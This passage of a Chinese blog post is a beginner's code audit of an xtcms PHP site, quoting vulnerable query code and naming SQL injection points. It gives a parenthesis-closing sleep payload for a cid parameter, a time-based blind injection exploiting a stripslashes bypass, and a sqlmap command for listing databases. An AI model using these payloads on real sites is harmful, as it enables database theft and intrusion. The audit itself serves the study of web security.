  $sql = 'select * from xtcms_vod order by d_id desc';
  $pager = page_handle('page',20,mysql_num_rows(mysql_query($sql)));
  $result = mysql_query($sql.' limit '.$pager[0].','.$pager[1].'');
  }
}

这里的话关注这里

$sql = 'select * from xtcms_vod where d_parent in ('.$_GET['cid'].') order by d_id desc';

这个cid参数是被括号包裹的,这里我们可以尝试通过使用这种payload来进行闭合语句从而进行SQL注入

cid=1) and sleep(1) --+
//此时语句$sql = 'select * from xtcms_vod where d_parent in (1) and sleep(5)

图片

图片

根据回显时间可以看出此处是存在SQL注入的

admin/cms_kamilist.php

<?php
include('../system/inc.php');
include('cms_check.php');
error_reporting(0);

?>
if (isset($_GET['c_used'])) {
 $sql = 'select * from xtcms_user_card where c_used="'.$_GET['c_used'].'" order by c_id desc';
 $pager = page_handle('page',20,mysql_num_rows(mysql_query($sql)));
 $result = mysql_query($sql.' limit '.$pager[0].','.$pager[1].'');
}

这里的话可以看出参数被双引号包裹了,开头包含了SQL防护文件,涉及了addslashes()函数,所以这里自认为是不存在SQL注入的,找下一处。

ucenter/index.php

//部分
<?php include('../system/inc.php');
if(!isset($_SESSION['user_name'])){
  alert_href('请登陆后进入','login.php');
};
?>
<?php include('left.php');?>
<?php
$result = mysql_query('select * from xtcms_user where u_name="'.$_SESSION['user_name'].'"');
if($row = mysql_fetch_array($result)){
?>

这里的话可以看见参数是SESSION传参,不同于之前的GET和POST,而且这里还有双引号包裹,因此这里不存在SQL注入,下一处 

类似这种的还有

ucenter/kami.php
其SQL语句如下
$result = mysql_query('select * from xtcms_user where u_name="'.$_SESSION['user_name'].'"');

ucenter/chongzhi.php
其SQL语句如下
$result = mysql_query('select * from xtcms_user where u_name="'.$_SESSION['user_name'].'"');

ucenter/mingxi.php
其SQL语句如下
$result = mysql_query('select * from xtcms_user where u_name="'.$_SESSION['user_name'].'"');

ucenter/cms_user_add.php

源码为

<?php
include('../system/inc.php');
include('cms_check.php');

if ( isset($_POST['save']) ) {
null_back($_POST['u_name'],'请填写登录帐号');
 null_back($_POST['u_password'],'请填写登录密码');
$result = mysql_query('select * from xtcms_user where u_name = "'.$_POST['u_name'].'"');
 if(mysql_fetch_array($result)){
  alert_back('帐号重复,请输入新的帐号。');
 }

双引号包裹,且包含了过滤函数,因此SQL注入不存在,误报,类似这种的还有

ucenter/return_url.php
其SQL语句如下
$order = mysql_query('select * from xtcms_user_pay where p_order="'.$out_trade_no.'"');

ucenter/password.php
其SQL语句如下
$sql = 'select * from xtcms_user where u_name = "'.$u_name.'" and u_password = "'.md5($u_password).'" and u_status=1';

ucenter/reg.php
其SQL语句如下
$result = mysql_query('select * from xtcms_user where u_email = "'.$_POST['email'].'"');

ucenter/login.php
其SQL语句如下
$sql = 'select * from xtcms_user where u_name = "'.$u_name.'" and u_password = "'.md5($u_password).'" and u_status=1';

ucenter/mingxi.php
其SQL语句如下
$card= mysql_query('select * from xtcms_userka where id="'.$_POST['cardid'].'"');

ucenter/repass.php

源码为

<?php 
include('../system/inc.php');
if(isset($_SESSION['user_name'])){
header('location:index.php');
};
 
if(isset($_POST['submit'])){
$username = stripslashes(trim($_POST['name']));
$email = trim($_POST['email']);
// 检测用户名是否存在
$query = mysql_query("select u_id from xtcms_user where u_name='$username' and u_email='$email'");
if(!! $row = mysql_fetch_array($query)){
$_data['u_password'] = md5(123456);
$sql = 'update xtcms_user set '.arrtoupdate($_data).' where u_name="'.$username.'"';
if (mysql_query($sql)) {

这里的话我们看到参数name

$username = stripslashes(trim($_POST['name']));

这里引用了stripslashes函数,而文件开头又包含inc.php,这个文件里包含了addslashes函数,当我们参数出现单引号这种特殊字符时,addslashes会加上反引号,而stripslashes会清除addslashes函数加上的反引号,这个时候就相当于没有防护一样,所以显而易见这里是存在SQL注入的,我们可以使用bp抓包保存后,再利用sqlmap来得到数据库信息,具体payload

python sqlmap.py -r "D:\sqlmap\3.txt" -p name --dbs

但很怪,我自己的没有跑出来数据

图片

而我参考其他师傅的文章后发现他们的可以跑出来。

payload如下

name=1' AND (SELECT 3775 FROM (SELECT(SLEEP(5)))OXGU) AND 'XUOn'='XUOn&email=1@qq.com&password=111&submit=

图片

类似这种的还有

ucenter/active.php
其SQL语句如下
$verify = stripslashes(trim($_GET['verify']));
$nowtime = time();
$query = mysql_query("select u_id from xtcms_user where u_question='$verify'");

ucenter/reg.php
其内SQL语句如下
if(isset($_POST['submit'])){
$username = stripslashes(trim($_POST['name']));
$query = mysql_query("select u_id from xtcms_user where u_name='$username'");

总结

本次CMS审计花费了很多时间,一方面因为漏洞点有点多,另一方面也是初学代码审计,不太擅长,经过此次审计后对SQL注入和XSS漏洞有了进一步的了解,也学到了新的思路和知识。也希望此文章能对在学习代码审计的师傅有一些帮助。

参考文献

https://xz.aliyun.com/t/7711

https://xz.aliyun.com/t/11322#toc-2

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/79524.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

北京“三阳”凶猛,真会说来就到吗?

综合媒体最新报道&#xff0c;据北京疾控中心发布的第32周《传染病周报》称&#xff0c;8月7日-8月13日&#xff0c;呼吸道传染总报告数为6205例(新冠为主)&#xff0c;比上周猛增了71.6%&#xff01; 从30周到32周&#xff0c;北京呼吸道传染病分别增长了5.3%、20.6%、71.6%。…

使用GUI Guider工具开发嵌入式GUI应用(6)-切换多screen换场景

使用GUI Guider工具开发嵌入式GUI应用&#xff08;6&#xff09;-切换多screen换场景 本节将展示使用GUI Guider实现切换显示页面功能。 这里设计的用例是&#xff1a; 创建3张页面&#xff0c;screen_0,screen_1和screen_2。分别在每个页面上中放置一个Label&#xff08;最…

Vue2中根据权限添加动态路由

Vue2中根据权限添加动态路由 大概记录一下主要代码 1.根据后端返回的路由列表生成左侧菜单&#xff08;后端返回的数据结构中用id和pid来区别包含关系&#xff09; 大概结构如下&#xff1a; 2.前端需要处理成包含children的树形结构 //动态生成菜单 export const gener…

超实用的40道JAVA经典算法题(含答案)

作为一名Java程序员&#xff0c;想要拿到一份满意的offer&#xff0c;就必须做好充足的准备。众所周知&#xff0c;算法可以说是大厂面试Java程序员的必问题。好的算法可以让性能得到万倍提升&#xff0c;做到毫秒级处理千万数据的程度。因此&#xff0c;算法的重要性不言而喻&…

eqtl-GWAS和GWAS-GWAS

目前教程中有eqtl-GWAS和GWAS-GWAS两种模式&#xff0c;其他模式比较少见&#xff0c;还未进行开发 数据类型cc为分类变量即case/control&#xff0c;quant为连续变量&#xff0c;eqtl数据默认quant coloc.abf有两个比较需要注意的点&#xff0c;就是数据集中N是代表样本量&am…

Docker部署ES服务,canal全量同步的时候内存爆炸,ES/Canal Adapter自动关闭,CPU100%

文章目录 问题解决方案1. 对ES的限制2. 对Canal-Adapter的限制 问题 使用canal-adapter全量同步&#xff08;参考Canal Adapter1.1.5版本API操作服务&#xff0c;手动同步数据&#xff08;4&#xff09;&#xff09;的时候 小批量数据可以正常运行&#xff08;几千条&#xf…

如何利用 EMC 模型解决能源服务提供商的瓶颈

01. 什么是合同能源管理&#xff1f; 合同能源管理(EMC-Energy Management Contract) 是一种新型的市场化节能机制,其实质就是以减少的能源费用来支付节能项目全部成本的节能投资方式。&#xff1a;节能服务公司与用能单位以契约形式约定节能项目的节能目标&#xff0c;节能服…

真香!主数据管理系统,企业大哥必备神器

什么是主数据&#xff1f; 当一家连锁商超企业的市场营销部门想要策划一场线上线下营销活动&#xff0c;从而为消费者提供便捷的购物体验&#xff0c;就需要掌握商超会员的数据。 要想拥有这些数据就需掌握顾客的交易行为&#xff0c;掌握其购物过程行为&#xff0c;甚至情感…

计算机竞赛 LSTM的预测算法 - 股票预测 天气预测 房价预测

0 简介 今天学长向大家介绍LSTM基础 基于LSTM的预测算法 - 股票预测 天气预测 房价预测 这是一个较为新颖的竞赛课题方向&#xff0c;学长非常推荐&#xff01; &#x1f9ff; 更多资料, 项目分享&#xff1a; https://gitee.com/dancheng-senior/postgraduate 1 基于 Ke…

低代码系列——初步认识低代码

低代码系列目录 一、初步认识低代码 二、低代码是什么 三、低代码平台的概念和分类 01.无代码开发平台 02.低代码应用平台(LCAP) 03.多重体验开发平台(MXDP) 04.智能业务流程管理套件(iBPMS) 四、低代码的能力指标 五、低代码平台jnpf 表单 报表 流程 权限 一、初步认识低代码 …

远程仓库上创建一个新的分支 `b` 并将远程分支 `a` 的内容克隆到 `b` 分支上

一、需求&#xff1a; 要在远程仓库上创建一个新的分支 b 并将远程分支 a 的内容克隆到 b 分支上&#xff0c;你可以按照以下步骤进行操作&#xff1a; 二、解决方案&#xff1a; 1. 首先&#xff0c;使用 git clone 命令克隆远程仓库到本地。例如&#xff0c;要克隆一个名为…

基于百度文心大模型创作的实践与谈论

文心概念 百度文心大模型源于产业、服务于产业&#xff0c;是产业级知识增强大模型。百度通过大模型与国产深度学习框架融合发展&#xff0c;打造了自主创新的AI底座&#xff0c;大幅降低了AI开发和应用的门槛&#xff0c;满足真实场景中的应用需求&#xff0c;真正发挥大模型…

角色入门02----动画蓝图

使用UE4的小白人动画&#xff0c;首先将它动画资产重定向。先ue4转ue5小银人&#xff0c;在把转换后的动画ue5转ue4给这个低模人物就动画就不会很鬼畜。 进入动画创建混合空间1D,这相当于可以组合很多动画 在跑步的混合空间里设置横坐标为Speed&#xff0c;最大值为400&#xf…

文末有福利 | 小海小源表情包第一弹正式上线

手机铃声提醒你有新的消息 抓紧打个招呼“来了” 收到暖心的称赞 真是按捺不住激动的小心脏啊 只要你愿意拿起书 知识的大门将为你敞开 呲溜~ 这是不是像极了努力工作一天后下班的你&#xff1f; 。。。。。。 看了这么多“海源”表情包 是不是觉得小海、小源愈发可爱了呢…

小数据 vs 大数据:为AI另辟蹊径的可操作数据

在人工智能背景下&#xff0c;您可能已听说过“大数据”这一流行语&#xff0c;那“小数据”这一词呢&#xff0c;您有听说过吗&#xff1f;无论您听过与否&#xff0c;小数据都无处不在&#xff1a;线上购物体验、航空公司推荐、天气预报等均依托小数据。小数据即一种采用可访…

Java【Spring】Bean 的作用域和生命周期

文章目录 前言前言一、关于 Bean 的作用域问题引入二、Bean 的作用域1, 什么是 Bean 的作用域2, Bean 的六种作用域3, 设置 Bean 的作用域(解决开篇的问题) 三、Bean 的生命周期总结 前言 前言 各位读者好, 我是小陈, 这是我的个人主页, 希望我的专栏能够帮助到你: &#x1f4…

Linux权限系列--给普通用户添加某个命令的sudo权限

原文网址&#xff1a;Linux权限系列--给普通用户添加某个命令的sudo权限_IT利刃出鞘的博客-CSDN博客 简介 说明 本文介绍Linux系统如何给普通用户添加某个命令的sudo权限。 使用场景 普通开发者可能需要sudo的命令&#xff1a; apt-get&#xff08;经常要安装软件&#x…

ROS局部路径规划器插件teb_local_planner流程梳理(上)

在我之前的文章《ROS导航包Navigation中的 Movebase节点路径规划相关流程梳理》中已经介绍过Move_base节点调用局部路径规划器插件的接口函数是computeVelocityCommands&#xff0c;接下来&#xff0c;我们就从这个函数入手梳理一下teb_local_planner功能包的工作流程。 ☆注&a…

【探索Linux】—— 强大的命令行工具 P.5(yum工具、git 命令行提交代码)

阅读导航 前言一、软件包管理器 yum1.yum的概念yum的基本指令使用例子 二、git 命令行提交代码总结温馨提示 前言 前面我们讲了C语言的基础知识&#xff0c;也了解了一些数据结构&#xff0c;并且讲了有关C的一些知识&#xff0c;也学习了一些Linux的基本操作&#xff0c;也了…

WebGL游戏站优化实录【myshmup.com】

myshmup.com 允许在浏览器中创建 shmup&#xff08;射击&#xff09;游戏。 你可以使用具有创意通用许可证的资源或上传自己的艺术作品和声音。 创建的游戏可以在网站上发布。 该平台不需要编码&#xff0c;游戏对象的配置是在用户界面的帮助下执行的。 后端是使用Django框架开…